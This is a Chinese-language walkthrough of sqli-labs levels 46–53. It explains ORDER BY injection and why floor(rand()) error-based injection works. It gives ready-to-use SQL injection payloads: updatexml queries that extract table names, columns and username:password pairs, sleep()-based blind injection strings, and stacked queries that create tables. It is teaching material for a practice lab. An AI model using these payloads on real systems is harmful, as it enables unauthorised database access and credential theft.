less-46
一進入網頁,先看到的是以下頁面:
照上圖反藍處的說明,把原本的id=1改成sort=1:
可以看見列出帳密的表格。
可以發現這一次在1後面多加了desc
,即可造成表格變化,從大排到小,所以存在sql injection注入。
這一次的sql語句為:
sql = "SELECT * FROM users ORDER BY id";
因為注入點是在order by以後,所以大家把這叫做order by注入。
這一關沒做什麼防護,大概也是屬於數值型,不需要什麼閉合,所以隨便輸入個什麼都能注入:
上圖是使用報錯注入,語句如上圖反藍處,結果如上圖反灰處。
語句分析:
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
這兩句要表達的意思是一樣的,as x其實就是concat(database(),floor(rand(0)*2))
rand() & floor() & concat()
先來看看rand(0)。rand()是可以產生介於0-1之間的隨機數的函數。如果指定了括號內的數字,那麼每一次都會給出一樣的數字:
mysql> select rand();
+---------------------+
| rand() |
+---------------------+
| 0.01474338305624517 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand();
+----------------------+
| rand() |
+----------------------+
| 0.008617774591425225 |
+----------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
而floor(n)則會返回不大於n的最大整數,所以floor(3.3)返回3,floor(-3.3)返回-4。
concat()是字符串拼接函數,拼接多个字符串。
group by & count(*)
接下來看看group by跟count(*)。group by在執行時,會依次取出查詢表中的記錄並創建一個臨時表,group by的對象便是該臨時表的主鍵。如果臨時表中已經存在該主鍵,則將值加1,如果不存在,則將該主鍵插入到臨時表中,注意是插入!
假設現在我們的user這個table的內容是:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 38 | less38 | hello |
+----+----------+------------+
14 rows in set (0.00 sec)
然後接下來下的指令是:
select count(*) from users group by username;
那麼這指令會新創一張表,把剛剛users那張表的username作為主鍵,計算出現的次數,如下所示:
實例:
mysql> select count(*),username from users group by username;
+----------+----------+
| count(*) | username |
+----------+----------+
| 1 | admin |
| 1 | admin1 |
| 1 | admin2 |
| 1 | admin3 |
| 1 | admin4 |
| 1 | Angelina |
| 1 | batman |
| 1 | dhakkan |
| 1 | Dumb |
| 1 | Dummy |
| 1 | less38 |
| 1 | secure |
| 1 | stupid |
| 1 | superman |
+----------+----------+
14 rows in set (0.00 sec)
所以再次回到原本的語句:
select count(*) from users group by concat(database(),floor(rand(0)*2));
這一次的主鍵是concat(database(),floor(rand(0)2)),所以主鍵可能會是security 0(0是floor(rand(0)2))的結果),問題是每一次主鍵重複,只會硬插入,不會再count累加,因此報錯。
總結
floor()報錯注入的原因是group by在向臨時表插入數據時,由於rand()多次計算導致插入臨時表時主鍵重覆,從而報錯,又因為報錯前concat()中的SQL語句或函數被執行,所以該語句報錯且被拋出的主鍵是SQL語句或函數執行後的結果。
當然,也可以使用updatexml來進行報錯攻擊:
用以下查詢語句,取代上圖反藍即可:
#顯示目前DB
updatexml(1,concat("!",(database())),2)
#爆出security裡的table:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
#爆出users table裡的column
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
#爆出column內容
updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)#LIMIT後面數字可以控制要爆出第幾號帳密。
less-47
跟less-46相同,只是這一次是用單引號閉合,注意要有and。只要把下圖反藍換成less-46最後的updatexml報錯語句即可。
1' and (updatexml(1,concat("!",(database())),2))--+
less-48
這一次是數值型注入,錯誤不回顯,所以無法再用updatexml進行報錯注入,所以改用延時注入:
1 and if(length(database())='8',sleep(1),1) --+
上圖藍字可改為其他條件,若條件成立可多load 1秒。
less-49
一樣錯誤不回顯,用延時注入,這一次是單引號閉合:
1' and if(length(database())='8',sleep(1),1) --+
less-50
這一次是order by注入+堆疊注入,注入模式為數值型,不須閉合:
sort=1;create table demo like users;--+
上圖反藍可以換成其他操作語句。
less-51
跟上題相同,只是閉合變成單引號:
sort=1';create table demo like users;--+
less-52
payload同less-50,只是這一次頁面不會回顯。
less-53
payload同less-51,只是這一次頁面不會回顯。